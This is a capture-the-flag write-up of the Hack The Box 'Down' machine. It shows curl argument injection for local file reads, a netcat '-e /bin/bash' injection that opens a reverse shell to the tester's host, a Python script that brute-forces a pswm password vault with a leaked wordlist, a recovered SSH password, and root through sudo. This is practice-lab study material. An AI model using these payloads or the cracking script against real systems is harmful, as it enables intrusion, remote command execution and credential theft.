Hack The Box Down Writeup
An is-it-down app passes URLs to curl unsanitized, giving file:// reads and argument injection, then a brute-forced pswm vault and the sudo group give root.
Notes
Web server on port 80 running “is it down” application
Web Server
The server offers an “is it down” service: you input a URL, it makes a request to it, and shows you whether it’s down. I put the box’s IP address in the box and clicked the button.
It shows me the webpage contents. I tried using my own VPN IP (tun0) alongside a Python web server to see if I’d get a request back. Sure enough, I got the request:
I captured the request on burpsuite. In the repeater tab, I tested the “url” parameter and got the first error message:
I can also see more information about the request when using netcat to listen to it (e.g. http headers):
I went to cvedetails.com to look for a CVE on that specific version, but found none.
I could however inject arguments into the command:
1
url=http://10.10.14.173+-X+POST
If you take a look at GTFOBins (https://gtfobins.github.io/gtfobins/curl/), you can see options to explore curl.
Since curl accepts multiple URLs as input on the CLI, separated by spaces, I could bypass the “http or https”-only filter and include “file://” to read local files (notice the “+” sign, which translates to a space when URL-decoded):
Testing common locations for files on the web server, I found where the webpage source code is located and was able to see its contents (/var/www/html/index.php).
I copied the HTML-entity-encoded blob and pasted it into CyberChef. It automatically suggested HTML entity decoding.
The source code looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ðŸ˜</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ðŸ˜</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
?>
Both branches build a shell command string and run it:
TCP mode:
&quot;/usr/bin/nc -vz &dollar;ip &dollar;port&quot;HTTP mode:
&quot;/usr/bin/curl -s &dollar;url&quot;
They run escapeshellcmd() on the entire command, not escapeshellarg() on each argument. That’s a classic footgun:
escapeshellcmd()is not for arguments; it doesn’t properly quote a single, untrusted parameter. It leaves spaces and double quotes problematic and does not prevent argument injection.Correct pattern: keep the command fixed and wrap each user value with
escapeshellarg(&dollar;value)(or better: avoid the shell entirely and use PHP’s cURL extension / sockets).
I added the ‘expertmode’ attribute to the URL to unlock the hidden panel:
The application fails to properly sanitize the port number value, allowing for argument injection once again, this time with higher severity: netcat has an option to attach an executable to the connection (e.g. /bin/bash), which allows for remote command execution.
The request looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.171.73
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.129.171.73
Connection: keep-alive
Referer: http://10.129.171.73/index.php?exls
pertmode=tcp
Upgrade-Insecure-Requests: 1
Priority: u=0, i
ip=10.10.14.173&port=1234+-e+/bin/bash
I received the connection:
1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.173] from (UNKNOWN) [10.129.171.73] 51812
ls
index.php
logo.png
style.css
user_aeT1xa.txt
Privilege Escalation
While enumerating the system internally, I noticed the user “aleks” has “pswm” software installed under his local files.
I saved the file to my local machine.
1
2
$ cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
A quick google search led me to this github repo https://github.com/Julynx/pswm. In the code, there is a decrypt function that takes the master password and tries to get the cleartext content out of the vault.
I created a script that uses the same logic to brute-force the master password of the vault, using a performance-optimized approach:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
import cryptocode
import os
from concurrent.futures import ProcessPoolExecutor, as_completed
from typing import Callable, Iterable, Optional, Tuple
import multiprocessing as mp
def encrypted_file_to_lines(file_name, master_password):
"""
This function opens and decrypts the password vault.
Args:
file_name (str): The name of the file containing the password vault.
master_password (str): The master password to use to decrypt the
password vault.
Returns:
list: A list of lines containing the decrypted passwords.
"""
if not os.path.isfile(file_name):
return ""
with open(file_name, "r") as file:
encrypted_text = file.read()
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
if decrypted_text is False:
return False
decrypted_lines = decrypted_text.splitlines()
return decrypted_lines
def read_master_passwords_file(path: str) -> list:
with open(path, encoding="latin-1") as f:
master_passwords = [x.rstrip() for x in f.readlines()]
return master_passwords
# Globals set in each child process by the initializer:
STOP = None # type: ignore
PRED = None # type: ignore
PSWM_DATABASE_PATH = "/home/user/hacking/htb/machines/easy/down/pswm-database"
def predicate(word: str) -> bool:
# top-level function: picklable under spawn
return bool(encrypted_file_to_lines(PSWM_DATABASE_PATH, word))
def _init_child(stop_event, predicate):
"""Run once in each worker process."""
global STOP, PRED
STOP = stop_event
PRED = predicate
def _task(arg: Tuple[int, str]):
"""Worker task: return (index, word) if True, else None."""
idx, word = arg
# Fast escape if some other worker already found the answer
if STOP.is_set():
return None
if PRED(word):
pass
STOP.set()
return (idx, word)
return None
def find_first_match_process(
words: Iterable[str],
predicate: Callable[[str], bool],
max_workers: Optional[int] = None,
start_method: str = "spawn",
):
"""
Parallel search across `words` in separate processes.
Returns the first (index, word) for which `predicate(word)` is True,
or None if there is no match. Stops others ASAP once a match is found.
NOTE: `predicate` must be picklable (i.e., a top-level def, not a lambda/closure).
"""
words = list(words) # we enumerate, so we need to realize it
if not words:
return None
# Use a multiprocessing context explicitly for cross-platform safety
ctx = mp.get_context(start_method)
stop = ctx.Event()
winner = None
# cancel_futures=True cancels any tasks still in the queue (Py3.9+)
with ProcessPoolExecutor(
max_workers=max_workers,
mp_context=ctx,
initializer=_init_child,
initargs=(stop, predicate),
) as ex:
futures = {ex.submit(_task, (i, w)): i for i, w in enumerate(words)}
for fut in as_completed(futures):
try:
res = fut.result()
except Exception:
res = None
if res is not None:
winner = res
stop.set()
# Try to cancel tasks that haven't started yet
ex.shutdown(wait=False, cancel_futures=True)
break
return winner
if __name__ == "__main__":
words = read_master_passwords_file(
"/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-70.txt"
)
result = find_first_match_process(words, predicate, max_workers=mp.cpu_count())
print("Result:", result)
Almost instantly, I got a password back:
1
Result: (56, 'flower')
I copied the pswm database for aleks to my local share folder (where pswm expects the database to be) and decrypted it.
I got the password for aleks and could log in via SSH:
1
aleks:1uY3w22uc-Wr{xNHR~+E
Privilege Escalation
The user “aleks” is a member of the “sudo” group, so privilege escalation here is just:
1
2
aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt











